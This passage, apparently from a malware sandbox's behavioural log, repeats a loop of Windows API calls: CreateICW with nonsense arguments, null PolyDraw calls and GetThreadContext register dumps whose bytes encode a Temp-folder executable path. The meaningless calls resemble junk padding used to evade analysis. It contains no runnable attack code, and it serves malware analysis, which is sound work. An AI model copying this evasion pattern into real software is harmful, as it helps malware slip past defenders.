[329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.258] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.259] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.259] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.259] GetConsoleCP () returned 0x0
	[0066.259] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.259] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.260] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.260] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.260] GetConsoleCP () returned 0x0
	[0066.260] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, [112]=0x44, [113]=0x0, [114]=0x61, [115]=0x0, [116]=0x74, [117]=0x0, [118]=0x61, [119]=0x0, [120]=0x5c, [121]=0x0, [122]=0x4c, [123]=0x0, [124]=0x6f, [125]=0x0, [126]=0x63, [127]=0x0, [128]=0x61, [129]=0x0, [130]=0x6c, [131]=0x0, [132]=0x5c, [133]=0x0, [134]=0x54, [135]=0x0, [136]=0x65, [137]=0x0, [138]=0x6d, [139]=0x0, [140]=0x70, [141]=0x0, [142]=0x5c, [143]=0x0, [144]=0x62, [145]=0x0, [146]=0x75, [147]=0x0, [148]=0x73, [149]=0x0, [150]=0x6d, [151]=0x0, [152]=0x65, [153]=0x0, [154]=0x61, [155]=0x0, [156]=0x74, [157]=0x0, [158]=0x2e, [159]=0x0, [160]=0x65, [161]=0x0, [162]=0x78, [163]=0x0, [164]=0x65, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x2, [169]=0x0, [170]=0x0, [171]=0x2, [172]=0x10, [173]=0x65, [174]=0xd1, [175]=0x0, [176]=0xb6, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0xd0, [181]=0xfe, [182]=0xff, [183]=0xff, [184]=0xf0, [185]=0xf1, [186]=0xf2, [187]=0xf3, [188]=0x4, [189]=0x0, [190]=0x0, [191]=0x0, [192]=0x27, [193]=0x0, [194]=0x0, [195]=0x27, [196]=0xed, [197]=0xff, [198]=0xff, [199]=0xff, [200]=0x36, [201]=0x1, [202]=0x0, [203]=0x37, [204]=0xfe, [205]=0xff, [206]=0xff, [207]=0xff, [208]=0x5, [209]=0x0, [210]=0x0, [211]=0x5, [212]=0x26, [213]=0xdc, [214]=0xc7, [215]=0x77, [216]=0x7, [217]=0x0, [218]=0x0, [219]=0x7, [220]=0xb0, [221]=0x81, [222]=0xd0, [223]=0x0, [224]=0xff, [225]=0x7, [226]=0x0, [227]=0x0, [228]=0xe8, [229]=0xfd, [230]=0x19, [231]=0x0, [232]=0xc0, [233]=0x0, [234]=0xd0, [235]=0x0, [236]=0x88, [237]=0x2, [238]=0xd0, [239]=0x0, [240]=0x23, [241]=0x1, [242]=0x0, [243]=0x0, [244]=0x0, [245]=0x0, [246]=0xd0, [247]=0x0, [248]=0x22, [249]=0x0, [250]=0x0, [251]=0x0, [252]=0x0, [253]=0x0, [254]=0x0, [255]=0x0, [256]=0x0, [257]=0x0, [258]=0xd0, [259]=0x0, [260]=0x8, [261]=0x8, [262]=0x0, [263]=0x0, [264]=0x0, [265]=0x0, [266]=0x0, [267]=0x0, [268]=0x6, [269]=0x0, [270]=0x0, [271]=0x0, [272]=0x2, [273]=0x0, [274]=0x0, [275]=0x2, [276]=0x27, [277]=0x0, [278]=0x0, [279]=0x0, [280]=0x0, [281]=0x0, [282]=0xd0, [283]=0x0, [284]=0x36, [285]=0xff, [286]=0xff, [287]=0xff, [288]=0xa3, [289]=0x0, [290]=0x0, [291]=0x0, [292]=0x1, [293]=0x0, [294]=0x0, [295]=0x0, [296]=0x47, [297]=0x1, [298]=0x0, [299]=0x0, [300]=0x1, [301]=0x1, [302]=0x0, [303]=0x0, [304]=0x23, [305]=0x1, [306]=0x0, [307]=0x0, [308]=0x86, [309]=0x0, [310]=0x0, [311]=0x1, [312]=0x0, [313]=0x0, [314]=0x0, [315]=0x0, [316]=0x38, [317]=0x86, [318]=0xd1, [319]=0x0, [320]=0x0, [321]=0x0, [322]=0x0, [323]=0x0, [324]=0x8, [325]=0x65, [326]=0xd1, [327]=0x0, [328]=0xa, [329]=0x0, [330]=0x0, [331]=0x0, [332]=0x1, [333]=0x0, [334]=0x0, [335]=0x0, [336]=0x10, [337]=0x65, [338]=0xd1, [339]=0x0, [340]=0x8, [341]=0x65, [342]=0xd1, [343]=0x0, [344]=0x10, [345]=0x65, [346]=0xd1, [347]=0x0, [348]=0x2, [349]=0x0, [350]=0x0, [351]=0x0, [352]=0x8, [353]=0x65, [354]=0xd1, [355]=0x0, [356]=0xfe, [357]=0xff, [358]=0xff, [359]=0xff, [360]=0x20, [361]=0x0, [362]=0x0, [363]=0x0, [364]=0x0, [365]=0x64, [366]=0xd0, [367]=0x0, [368]=0x22, [369]=0x0, [370]=0x0, [371]=0x0, [372]=0x0, [373]=0x0, [374]=0x0, [375]=0x0, [376]=0xb6, [377]=0x0, [378]=0x0, [379]=0x0, [380]=0xc0, [381]=0x0, [382]=0xd0, [383]=0x0, [384]=0x3, [385]=0x0, [386]=0x0, [387]=0x0, [388]=0x0, [389]=0x0, [390]=0x0, [391]=0x0, [392]=0x22, [393]=0x0, [394]=0x0, [395]=0x0, [396]=0x60, [397]=0x2, [398]=0xd0, [399]=0x0, [400]=0x38, [401]=0x86, [402]=0xd1, [403]=0x0, [404]=0x38, [405]=0x86, [406]=0xd1, [407]=0x0, [408]=0x70, [409]=0xff, [410]=0x19, [411]=0x0, [412]=0x40, [413]=0xd, [414]=0xcb, [415]=0x77, [416]=0xe9, [417]=0x65, [418]=0xc1, [419]=0xd7, [420]=0xfe, [421]=0xff, [422]=0xff, [423]=0xff, [424]=0xc, [425]=0x0, [426]=0x0, [427]=0x0, [428]=0x76, [429]=0x8d, [430]=0xca, [431]=0x77, [432]=0xa7, [433]=0xf1, [434]=0xc9, [435]=0x77, [436]=0xff, [437]=0xff, [438]=0xff, [439]=0xff, [440]=0x24, [441]=0x0, [442]=0x0, [443]=0x0, [444]=0xb0, [445]=0xfe, [446]=0x19, [447]=0x0, [448]=0x4, [449]=0x0, [450]=0x0, [451]=0x0, [452]=0x0, [453]=0x0, [454]=0x0, [455]=0x0, [456]=0x4, [457]=0x0, [458]=0x0, [459]=0x0, [460]=0x17, [461]=0xde, [462]=0x40, [463]=0x0, [464]=0x3, [465]=0x0, [466]=0x0, [467]=0x0, [468]=0xc8, [469]=0xfe, [470]=0x19, [471]=0x0, [472]=0xa4, [473]=0x7b, [474]=0x40, [475]=0x0, [476]=0xc, [477]=0xff, [478]=0x19, [479]=0x0, [480]=0xd4, [481]=0xfe, [482]=0x19, [483]=0x0, [484]=0x1e, [485]=0x6f, [486]=0x40, [487]=0x0, [488]=0x3, [489]=0x0, [490]=0x0, [491]=0x0, [492]=0xfc, [493]=0xfe, [494]=0x19, [495]=0x0, [496]=0x4d, [497]=0x46, [498]=0x40, [499]=0x0, [500]=0x0, [501]=0x0, [502]=0x0, [503]=0x0, [504]=0x0, [505]=0x0, [506]=0x0, [507]=0x0, [508]=0xc, [509]=0xff, [510]=0x19, [511]=0x0))) returned 0
	[0066.260] CreateICW (pszDriver="Ciyexawekoza rixecufazukofa tepaxudocagi giyo vekesodo", pszDevice="Bokejuni kudihubeko", pszPort="Piyiwa yayehacube negi jugudanepiko tigodimuwusocu", pdm=0x0) returned 0x0
	[0066.261] PolyDraw (hdc=0x0, apt=0x0, aj=0x0, cpt=0) returned 0
	[0066.261] LocalFileTimeToFileTime (in: lpLocalFileTime=0x19ff20, lpFileTime=0x19ff28 | out: lpFileTime=0x19ff28) returned 1
	[0066.261] GetConsoleCP () returned 0x0
	[0066.261] GetThreadContext (in: hThread=0x0, lpContext=0x19fc1c | out: lpContext=0x19fc1c*(ContextFlags=0x1, Dr0=0xd18638, Dr1=0xd18630, Dr2=0xd18638, Dr3=0xd, Dr6=0x438, Dr7=0xfffffffe, FloatSave.ControlWord=0xd00000, FloatSave.StatusWord=0xd06b58, FloatSave.TagWord=0xad, FloatSave.ErrorOffset=0x0, FloatSave.ErrorSelector=0x1, FloatSave.DataOffset=0xd000c0, FloatSave.DataSelector=0x27000027, FloatSave.RegisterArea=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2d, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x78, [9]=0x81, [10]=0xd0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0xd0, [15]=0x0, [16]=0x1c, [17]=0x8e, [18]=0xca, [19]=0x77, [20]=0x70, [21]=0xff, [22]=0x19, [23]=0x0, [24]=0x40, [25]=0xd, [26]=0xcb, [27]=0x77, [28]=0xe9, [29]=0x65, [30]=0xc1, [31]=0xd7, [32]=0xfe, [33]=0xff, [34]=0xff, [35]=0xff, [36]=0xbc, [37]=0xfc, [38]=0x19, [39]=0x0, [40]=0x26, [41]=0xdc, [42]=0xc7, [43]=0x77, [44]=0x40, [45]=0x4, [46]=0x0, [47]=0x0, [48]=0x48, [49]=0x4, [50]=0x0, [51]=0x0, [52]=0xb0, [53]=0x82, [54]=0xd0, [55]=0x0, [56]=0xa8, [57]=0xfc, [58]=0x19, [59]=0x0, [60]=0x30, [61]=0x30, [62]=0x40, [63]=0x0, [64]=0x79, [65]=0x63, [66]=0x40, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x48, [77]=0x4, [78]=0x0, [79]=0x0), FloatSave.Cr0NpxState=0x0, SegGs=0x0, SegFs=0x0, SegEs=0xd08178, SegDs=0x77ca8d76, Edi=0x77c9a217, Esi=0xffffffff, Ebx=0x24, Edx=0x19fcd0, Ecx=0x4, Eax=0x20, Ebp=0x68a8a80e, Eip=0x19ff10, SegCs=0x76a241a8, EFlags=0xa039a2a2, Esp=0x403030, SegSs=0x40e1a0, ExtendedRegisters=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0xa3, [5]=0xa3, [6]=0xdd, [7]=0x2d, [8]=0x0, [9]=0x0, [10]=0x40, [11]=0x0, [12]=0x0, [13]=0x90, [14]=0x74, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x1, [20]=0x8a, [21]=0x0, [22]=0x8c, [23]=0x0, [24]=0x4, [25]=0xfd, [26]=0x19, [27]=0x0, [28]=0x5c, [29]=0x0, [30]=0x44, [31]=0x0, [32]=0x65, [33]=0x0, [34]=0x76, [35]=0x0, [36]=0x69, [37]=0x0, [38]=0x63, [39]=0x0, [40]=0x65, [41]=0x0, [42]=0x5c, [43]=0x0, [44]=0x48, [45]=0x0, [46]=0x61, [47]=0x0, [48]=0x72, [49]=0x0, [50]=0x64, [51]=0x0, [52]=0x64, [53]=0x0, [54]=0x69, [55]=0x0, [56]=0x73, [57]=0x0, [58]=0x6b, [59]=0x0, [60]=0x56, [61]=0x0, [62]=0x6f, [63]=0x0, [64]=0x6c, [65]=0x0, [66]=0x75, [67]=0x0, [68]=0x6d, [69]=0x0, [70]=0x65, [71]=0x0, [72]=0x31, [73]=0x0, [74]=0x5c, [75]=0x0, [76]=0x55, [77]=0x0, [78]=0x73, [79]=0x0, [80]=0x65, [81]=0x0, [82]=0x72, [83]=0x0, [84]=0x73, [85]=0x0, [86]=0x5c, [87]=0x0, [88]=0x43, [89]=0x0, [90]=0x49, [91]=0x0, [92]=0x49, [93]=0x0, [94]=0x48, [95]=0x0, [96]=0x4d, [97]=0x0, [98]=0x4e, [99]=0x0, [100]=0x7e, [101]=0x0, [102]=0x31, [103]=0x0, [104]=0x5c, [105]=0x0, [106]=0x41, [107]=0x0, [108]=0x70, [109]=0x0, [110]=0x70, [111]=0x0, 